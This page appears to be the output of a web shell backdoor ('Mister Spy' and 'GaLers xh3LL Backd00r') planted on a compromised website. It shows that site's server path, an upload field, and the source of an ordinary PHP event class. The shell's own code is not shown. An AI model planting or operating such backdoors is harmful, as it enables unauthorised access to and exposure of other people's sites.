Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.evento.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.page.php');
require_once('class.eventoimagenes.php');
require_once('class.eventoarchivos.php');
require_once('class.eventoscategorias.php');
require_once('class.provincias.php');
require_once('class.regiones.php');

class Evento
{
	const PathImageBig		= '../_recursos/eventos/imagenes/big/';
	const PathImageThumb	= '../_recursos/eventos/imagenes/thumb/';
	const PathFile			= '../_recursos/eventos/archivos/';
	// const PathFile			= '_recursos/eventos/archivos/';
	const PathListen		= '../_recursos/eventos/audio/';

	public $IdEvento;
	public $IdRegion;
	public $Fecha;
	public $Titulo;
	public $Observaciones;
	public $DescripcionTarifas;
	public $IdEstado;
	public $FechaHasta;
	public $Latitud;
	public $Direccion;
	public $Web;
	public $Email;
	public $Video;
	public $Imagen;
	public $FechaInscripcionDesde;
	public $FechaInscripcionHasta;
	public $IdDelegado;
	public $Suspendido;
	public $InformacionAdicional;
	public $IdProvincia;
	public $Localidad;
	public $Longitud;
	public $Archivos;
	public $CategoriaTexto;

	public function __construct() {
	}

	public function ParseFromArray(array $arr)
	{
		$this->IdEvento 				= $arr['IdEvento'];
		$this->IdRegion 				= $arr['IdRegion'];
		$this->Fecha 					= stripslashes($arr['Fecha']);
		$this->Titulo 					= stripslashes($arr['Titulo']);
		$this->Observaciones 			= stripslashes($arr['Observaciones']);
		$this->DescripcionTarifas		= stripslashes($arr['DescripcionTarifas']);
		$this->IdEstado					= $arr['IdEstado'];
		$this->FechaHasta				= $arr['FechaHasta'];
		$this->Latitud					= $arr['Latitud'];
		$this->Direccion				= $arr['Direccion'];
		$this->Web						= $arr['Web'];
		$this->Email					= $arr['Email'];
		$this->Video					= $arr['Video'];
		$this->Imagen					= stripslashes($arr['Imagen']);
		$this->FechaInscripcionDesde	= $arr['FechaInscripcionDesde'];
		$this->FechaInscripcionHasta	= $arr['FechaInscripcionHasta'];
		$this->IdDelegado				= $arr['IdDelegado'];
		$this->Suspendido				= $arr['Suspendido'];
		$this->InformacionAdicional		= $arr['InformacionAdicional'];
		$this->IdProvincia				= $arr['IdProvincia'];
		$this->Localidad				= $arr['Localidad'];
		$this->Longitud					= $arr['Longitud'];
		$this->Archivos					= $this->GetAllArchivos();
	}
	
	
	public function GetAllImagenes(Page $oPage = NULL)
	{
		$EventoImagenes = new EventoImagenes();
		
		return $EventoImagenes->GetAllByEvento($this, $oPage);
	}	
	
	
	public function GetAllArchivos(Page $oPage = NULL)
	{
		$EventoArchivos = new EventoArchivos();
		
		return $EventoArchivos->GetAllByEvento($this, $oPage);
	}
	
	
	public function GetAllAudios(Page $oPage = NULL)
	{
		$EventoAudios = new EventoAudios();
		
		return $EventoAudios->GetAllByEvento($this, $oPage);
	}
	
	
	public function GetAllVideos(Page $oPage = NULL)
	{
		$EventoVideos = new EventoVideos();
		
		return $EventoVideos->GetAllByEvento($this, $oPage);
	}
	
	
	public function GetCategorias()
	{
		$oEventosCategorias = new EventosCategorias();
		
		return $oEventosCategorias->GetAllByEvento($this);
	}

	public function GetCategoriasTexto() {

		$arrTexto = array();
		foreach ($this->GetCategorias() as $oCategoriaEvento) {
			$arrTexto[] = $oCategoriaEvento->GetCategoria()->Nombre . ' (' . $oCategoriaEvento->GetInstancia() . ')';
		}
		$this->CategoriaTexto = implode(', ', $arrTexto);
		return $this->CategoriaTexto;

	}

	public function GetProvincia() {
		$oProvincias = new Provincias();
		return $oProvincias->GetById($this->IdProvincia);
	}

	public function GetRegion() {
		$oRegiones = new Regiones();
		return $oRegiones->GetById($this->IdRegion);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat